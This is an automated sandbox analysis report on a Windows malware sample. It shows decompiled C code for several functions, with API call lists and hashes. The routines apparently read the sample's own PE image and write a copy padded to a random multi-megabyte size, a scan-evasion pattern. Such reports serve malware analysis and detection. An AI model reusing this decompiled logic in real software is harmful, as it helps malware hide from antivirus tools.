Opcode ID: f02c357166c3b313ad7239a7b995eba94aec5ffd6a368f7d9b7db17d98fb20e2
Instruction ID: 7d6f16c0e63263610e399f3f049f45e0da260e43ae629b5557d7a5820381a87a
Opcode Fuzzy Hash: f02c357166c3b313ad7239a7b995eba94aec5ffd6a368f7d9b7db17d98fb20e2
Instruction Fuzzy Hash: 51A171B2540208BBEB21DFA1CC45FDF3BACAB44344F104437FA05E6192D7B999848FA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040675C, Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040675C(CHAR* _a4, long* _a8, long _a12) {
				long _v8;
				void* _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				struct _OVERLAPPED* _v24;
				long _v28;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				void _v68;
				long _v72;
				void _v132;
				intOrPtr _v320;
				signed int _v360;
				signed int _v374;
				void _v380;
				void* _t85;
				long _t88;
				int _t92;
				long _t93;
				int _t96;
				long _t99;
				long _t102;
				struct _OVERLAPPED* _t103;
				long _t104;
				long _t115;
				long _t120;
				signed int _t143;
				void* _t146;

				_v16 = 0;
				_v8 = 0;
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 0x80);
				}
				_t85 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_v12 = _t85;
				if(_t85 == 0xffffffff) {
					_v12 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 4, 0);
				}
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 2);
				}
				if(_v12 != 0xffffffff) {
					_t88 = GetFileSize(_v12, 0);
					_v8 = _t88;
					if(_t88 == 0xffffffff || _t88 == 0) {
						L31:
						_v8 = 0;
					} else {
						_a12 = 0;
						_v28 = 0;
						_t92 = ReadFile(_v12,  &_v132, 0x40,  &_a12, 0); // executed
						if(_t92 == 0) {
							goto L31;
						} else {
							_t93 = SetFilePointer(_v12, _v72, 0, 0); // executed
							if(_t93 == 0xffffffff) {
								goto L31;
							} else {
								_t96 = ReadFile(_v12,  &_v380, 0xf8,  &_v28, 0); // executed
								if(_t96 == 0) {
									goto L31;
								} else {
									_t99 = SetFilePointer(_v12, (_v360 & 0x0000ffff) + _v72 + 0x18, 0, 0); // executed
									if(_t99 == 0xffffffff) {
										goto L31;
									} else {
										_v20 = 0;
										_v24 = 0;
										if(0 < _v374) {
											while(1) {
												_t115 = 0x28;
												_a12 = _t115;
												if(ReadFile(_v12,  &_v68, _t115,  &_a12, 0) == 0) {
													break;
												}
												_t143 = _v374 & 0x0000ffff;
												if(_v24 != _t143 - 1) {
													_t120 = _v48 + _v52;
												} else {
													_t120 = (_v320 + _v60 - 0x00000001 &  !(_v320 - 1)) + _v48;
												}
												_a12 = _t120;
												if(_v20 < _t120) {
													_v20 = _t120;
												}
												_v24 = _v24 + 1;
												if(_v24 < _t143) {
													continue;
												} else {
												}
												goto L23;
											}
											_v8 = 0;
										}
										L23:
										if(_v24 >= (_v374 & 0x0000ffff)) {
											_t102 = _v20;
											if(_v8 > _t102) {
												_v8 = _t102;
											}
											_t103 = E0040EBCC(_v8);
											_v16 = _t103;
											if(_t103 == 0) {
												goto L31;
											} else {
												_t104 = SetFilePointer(_v12, 0, 0, 0); // executed
												if(_t104 == 0xffffffff) {
													L30:
													_v8 = 0;
													E0040EC2E(_v16);
													_v16 = 0;
												} else {
													_t146 = _v16;
													if(ReadFile(_v12, _t146, _v8,  &_v20, 0) == 0) {
														goto L30;
													} else {
														 *(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 0x10) =  *((intOrPtr*)(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 8)) + _v320 - 0x00000001 &  !(_v320 - 1);
														_v8 = _v20;
													}
												}
											}
										}
									}
								}
							}
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				 *_a8 = _v8;
				return _v16;
			}

0x0040676a
0x0040676d
0x00406778
0x0040677e
0x0040677e
0x0040679a
0x0040679c
0x004067a2
0x004067b2
0x004067b2
0x004067b8
0x004067bf
0x004067bf
0x004067c9
0x004067d3
0x004067d9
0x004067df
0x0040696b
0x0040696b
0x004067ed
0x00406801
0x00406804
0x00406807
0x0040680b
0x00000000
0x00406811
0x0040681f
0x00406824
0x00000000
0x0040682a
0x0040683e
0x00406842
0x00000000
0x00406848
0x0040685c
0x00406861
0x00000000
0x00406867
0x00406869
0x0040686c
0x00406876
0x00406878
0x0040687a
0x00406881
0x0040688f
0x00000000
0x00000000
0x00406891
0x0040689e
0x004068ba
0x004068a0
0x004068b2
0x004068b2
0x004068bd
0x004068c3
0x004068c5
0x004068c5
0x004068c8
0x004068ce
0x00000000
0x00000000
0x004068d0
0x00000000
0x004068ce
0x004068d2
0x004068d2
0x004068d5
0x004068df
0x004068e5
0x004068eb
0x004068ed
0x004068ed
0x004068f3
0x004068f9
0x004068fe
0x00000000
0x00406900
0x00406906
0x0040690b
0x0040695a
0x0040695d
0x00406960
0x00406966
0x0040690d
0x0040690d
0x00406920
0x00000000
0x00406922
0x0040694f
0x00406955
0x00406955
0x00406920
0x0040690b
0x004068fe
0x004068df
0x00406861
0x00406842
0x00406824
0x0040680b
0x00406971
0x00406971
0x0040697f
0x00406986

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,74E043E0,00000000), ref: 0040677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,74E043E0,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,74E043E0,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,74E043E0,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,74E043E0,00000000), ref: 004067D3
ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,74E043E0,00000000), ref: 00406807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,74E043E0,00000000), ref: 0040683E
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,74E043E0,00000000), ref: 0040688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,74E043E0,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,74E043E0,00000000), ref: 0040691C
FindCloseChangeNotification.KERNELBASE(000000FF,?,74E043E0,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$ChangeCloseFindFreeNotificationProcessSize
String ID:
API String ID: 1400801100-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406A60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406A60(int __edx, CHAR* _a4, intOrPtr _a8, int _a12) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				void* _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				long _v32;
				void* _t31;
				int _t42;
				intOrPtr _t43;
				int _t44;
				void* _t53;
				int _t59;
				CHAR* _t68;
				void* _t69;
				int _t73;

				_t59 = __edx;
				_t68 = _a4;
				_t31 = CreateFileA(_t68, 0x40000000, 0, 0, 2, 0x80, 0); // executed
				_v12 = _t31;
				if(_t31 == 0xffffffff) {
					 *0x412180 = 0x61080101;
					 *0x41217c = GetLastError();
					__eflags = 0;
					return 0;
				}
				_v8 =  *_t68;
				_v7 = _t68[1];
				_t63 = _a12;
				_v6 = _t68[2];
				_v5 = 0;
				_t42 = GetDiskFreeSpaceA( &_v8,  &_v20,  &_v24,  &_v16,  &_v32); // executed
				if(_t42 == 0) {
					L10:
					_t43 = E00406987(0x500000, _v12, _a8, _a12, _t63); // executed
					_v28 = _t43;
					if(_t43 != 0) {
						_t44 = FindCloseChangeNotification(_v12); // executed
						__eflags = _t44;
						if(_t44 != 0) {
							L15:
							return _v28;
						}
						 *0x412180 = 0x61080103;
						 *0x41217c = GetLastError();
						CloseHandle(_v12);
						L14:
						DeleteFileA(_t68);
						goto L15;
					}
					 *0x412180 = 0x61080102;
					 *0x41217c = GetLastError();
					CloseHandle(_v12);
					goto L14;
				}
				_t53 = E0040EB0E(_v20 * _v24, 0, _v16, 0);
				_t69 = _t69 + 0x10;
				_t73 = _t59;
				if(_t73 < 0) {
					goto L10;
				}
				if(_t73 > 0 || _t53 > 0x6400000) {
					_t22 = E0040ECA5() % 0x500000 + 0xa00000; // 0xa00000
					_t63 = _t22;
					goto L10;
				} else {
					__eflags = _t59;
					if(__eflags < 0) {
						goto L10;
					}
					if(__eflags > 0) {
						L9:
						_t63 = (E0040ECA5() & 0x001fffff) + 0x300000;
						__eflags = (E0040ECA5() & 0x001fffff) + 0x300000;
						goto L10;
					}
					__eflags = _t53 - 0x3200000;
					if(_t53 <= 0x3200000) {
						goto L10;
					}
					goto L9;
				}
			}

0x00406a60
0x00406a68
0x00406a7d
0x00406a83
0x00406a89
0x00406b8c
0x00406b9c
0x00406ba1
0x00000000
0x00406ba1
0x00406a91
0x00406a97
0x00406a9e
0x00406aa1
0x00406ab8
0x00406abb
0x00406ac3
0x00406b1d
0x00406b27
0x00406b2f
0x00406b34
0x00406b5f
0x00406b61
0x00406b63
0x00406b86
0x00000000
0x00406b89
0x00406b65
0x00406b78
0x00406b7d
0x00406b7f
0x00406b80
0x00000000
0x00406b80
0x00406b36
0x00406b49
0x00406b4e
0x00000000
0x00406b4e
0x00406ad2
0x00406ad7
0x00406ada
0x00406adc
0x00000000
0x00000000
0x00406ade
0x00406af5
0x00406af5
0x00000000
0x00406afd
0x00406afd
0x00406aff
0x00000000
0x00000000
0x00406b01
0x00406b0a
0x00406b17
0x00406b17
0x00000000
0x00406b17
0x00406b03
0x00406b08
0x00000000
0x00000000
0x00000000
0x00406b08

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,74E481D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: CloseErrorLast$FileHandle$ChangeCreateDeleteDiskFindFreeNotificationSpace
String ID: PromptOnSecureDesktop
API String ID: 1251348514-2980165447
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 9406106fe81e47b207fd746d5c11beca6957dd7a726dfd862efddfda91f1d23f
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 8031EEB2900108BFDF00EFA09D45ADF7F78AF48310F15807AE112F7291D674AAA08F69

Uniqueness

Uniqueness Score: -1.00%

Function 0041B550, Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B5CC
__heap_init.LIBCMTD ref: 0041B5D6

Part of subcall function 00428EF0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B5DB,00000001), ref: 00428F06

_fast_error_exit.LIBCMTD ref: 0041B5E4

Part of subcall function 0041B730: ___crtExitProcess.LIBCMTD ref: 0041B754

__mtinit.LIBCMTD ref: 0041B5EC
_fast_error_exit.LIBCMTD ref: 0041B5F7
__RTC_Initialize.LIBCMTD ref: 0041B609
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B632
___wsetargv.LIBCMTD ref: 0041B63C
__wsetenvp.LIBCMTD ref: 0041B64F
__cinit.LIBCMTD ref: 0041B664
__wwincmdln.LIBCMTD ref: 0041B681

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 49a0ffa25b56d1f67a4588fb53aa9940811a8fbb9cb6e851d003ce1af271119b
Instruction ID: 038e1dc06f2cdfa684c0d3329b375044fd949b70e6e5e1f80f55073631e74ea5
Opcode Fuzzy Hash: 49a0ffa25b56d1f67a4588fb53aa9940811a8fbb9cb6e851d003ce1af271119b
Instruction Fuzzy Hash: FC4192B1E013189BDB10ABA2AD02BEE76B5EF5470CF50012FE41597282EB799540CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041B5C5, Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B5CC
__heap_init.LIBCMTD ref: 0041B5D6

Part of subcall function 00428EF0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B5DB,00000001), ref: 00428F06

_fast_error_exit.LIBCMTD ref: 0041B5E4

Part of subcall function 0041B730: ___crtExitProcess.LIBCMTD ref: 0041B754

__mtinit.LIBCMTD ref: 0041B5EC
_fast_error_exit.LIBCMTD ref: 0041B5F7
__RTC_Initialize.LIBCMTD ref: 0041B609
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B632
___wsetargv.LIBCMTD ref: 0041B63C
__wsetenvp.LIBCMTD ref: 0041B64F
__cinit.LIBCMTD ref: 0041B664
__wwincmdln.LIBCMTD ref: 0041B681

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: cc4498c679a0e031e25314a2040a97ca21b5a19c22abbb4d86d96982280674aa
Instruction ID: f5db4bed2e1d78224e4c90517daeb71b2da8649fd17159b9061adc2b803cd15a
Opcode Fuzzy Hash: cc4498c679a0e031e25314a2040a97ca21b5a19c22abbb4d86d96982280674aa
Instruction Fuzzy Hash: B73154B1E017149AEB10BBB2B903BEE72A5EF5430CF50012FE91557282EB799540CADB

Uniqueness

Uniqueness Score: -1.00%

Function 004099D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E004099D2(int __edx, void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, int _a20) {
				signed int _t14;
				void* _t21;
				CHAR* _t22;
				void* _t24;
				int _t25;

				_t25 = __edx;
				_t22 = _a8;
				lstrcpyA(_t22, _a4);
				E00408274(_t22);
				_push(0);
				_push(_a12);
				_t14 = E00406C6F((E0040ECA5() & 0x0000000f) << 0x00000014 | 0x00006108);
				_pop(_t24);
				_push(_t14 ^ 0x61616161);
				E0040F133();
				lstrcatA(_a12, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
				E0040EE2A(_t24, 0x4122f8, 0, 0x100);
				lstrcatA(_t22, _a12);
				_t21 = E00406A60(_t25, _t22, _a16, _a20); // executed
				return _t21;
			}

0x004099d2
0x004099d6
0x004099df
0x004099e6
0x004099ec
0x004099ee
0x00409a02
0x00409a07
0x00409a0d
0x00409a0e
0x00409a3c
0x00409a46
0x00409a52
0x00409a5b
0x00409a67

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,74E481D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction ID: 3080a8c352511dab3afe6aac1e5f9bdd01cc5e55c8c8f00722b444f0ba2a7742
Opcode Fuzzy Hash: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction Fuzzy Hash: D6018F7294020877EE106F62AC47F9F3E1DEB54718F04883AF619790D2D9BA94709A6C

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

0x00404001
0x00404006
0x00404008
0x0040400b
0x00404021
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404035
0x00404052
0x00000000
0x0040403c
0x0040403f
0x00404059
0x00000000
0x0040405b
0x00404046
0x0040404c
0x00404050
0x00000000
0x00000000
0x00000000
0x00404050
0x00404035
0x00404057
0x00000000

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Strings

0t, xrefs: 0040EC78

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID: 0t
API String ID: 1209300637-1355922044
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 00426AA0, Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 00426B2B
__nh_malloc_dbg.LIBCMTD ref: 00426C57

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: b19b5b94db7fe037f51d007a83305f89d1c2eeeaa5dc4ed82c782b12a285687d
Instruction ID: 8e95b6fe9c9425c4d8e20e1e9c5c2b01d3dfcd6628a594637a14c999326a9554
Opcode Fuzzy Hash: b19b5b94db7fe037f51d007a83305f89d1c2eeeaa5dc4ed82c782b12a285687d
Instruction Fuzzy Hash: EDE14774E04218CFDB24CFA8D894BADFBB1BB49318F65825ED8256B392C7349846CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00406987(void* __ecx, void* _a4, void* _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				long _v12;
				signed int _t50;
				int _t52;
				signed int _t53;
				int _t59;
				signed int _t60;
				long _t68;
				signed int _t74;
				void* _t78;
				void* _t85;

				_t78 = _a8;
				_t48 =  *((intOrPtr*)(_t78 + 0x3c)) + _t78;
				_t7 =  &_a16; // 0x406b2c
				_t85 = (( *( *((intOrPtr*)(_t78 + 0x3c)) + _t78 + 6) & 0x0000ffff) - 1) * 0x28 + ( *(_t48 + 0x14) & 0x0000ffff) + _t48 + 0x18;
				_t68 =  *(_t85 + 0x14);
				_t50 =  *_t7 - _t68;
				_v8 = _t50;
				if(_t68 >= _a12) {
					L5:
					_a16 = _a16 & 0x00000000;
				} else {
					_t74 =  *(_t85 + 0x10);
					if(_t74 == 0) {
						goto L5;
					} else {
						_v12 = _t74;
						_a16 = _t50 / _t74;
						if(_a16 < 1) {
							_a16 = 1;
						}
						_t20 =  &_a16; // 0x406b2c
						 *(_t85 + 0x10) =  *_t20 * _t74;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t52 = WriteFile(_a4, _t78, _t68,  &_v8, 0); // executed
				if(_t52 == 0 || _v8 != _t68) {
					if(_a16 != 0) {
						 *(_t85 + 0x10) = _v12;
					}
					_t53 = 0;
				} else {
					if(_a16 == 0) {
						L13:
						_t53 = _t68;
					} else {
						 *(_t85 + 0x10) = _v12;
						while(1) {
							_v8 = _v8 & 0x00000000;
							_t59 = WriteFile(_a4, _a8 +  *(_t85 + 0x14), _v12,  &_v8, 0); // executed
							_t60 = _v8;
							if(_t59 == 0 || _t60 != _v12) {
								break;
							}
							_t68 = _t68 + _t60;
							_t41 =  &_a16;
							 *_t41 = _a16 - 1;
							if( *_t41 != 0) {
								continue;
							} else {
								goto L13;
							}
							goto L18;
						}
						asm("sbb eax, eax");
						_t53 =  !_t60 & _t68 + _t60;
					}
				}
				L18:
				return _t53;
			}

0x0040698f
0x00406995
0x004069a7
0x004069aa
0x004069ac
0x004069af
0x004069b1
0x004069b7
0x004069e0
0x004069e0
0x004069b9
0x004069b9
0x004069be
0x00000000
0x004069c0
0x004069c4
0x004069c7
0x004069d0
0x004069d2
0x004069d2
0x004069d5
0x004069db
0x004069db
0x004069be
0x004069e4
0x004069f9
0x004069fd
0x00406a51
0x00406a56
0x00406a56
0x00406a59
0x00406a04
0x00406a08
0x00406a3c
0x00406a3c
0x00406a0a
0x00406a0d
0x00406a10
0x00406a10
0x00406a27
0x00406a2b
0x00406a2e
0x00000000
0x00000000
0x00406a35
0x00406a37
0x00406a37
0x00406a3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a3a
0x00406a45
0x00406a49
0x00406a49
0x00406a08
0x00406a5b
0x00406a5f

APIs

WriteFile.KERNELBASE(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNELBASE(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

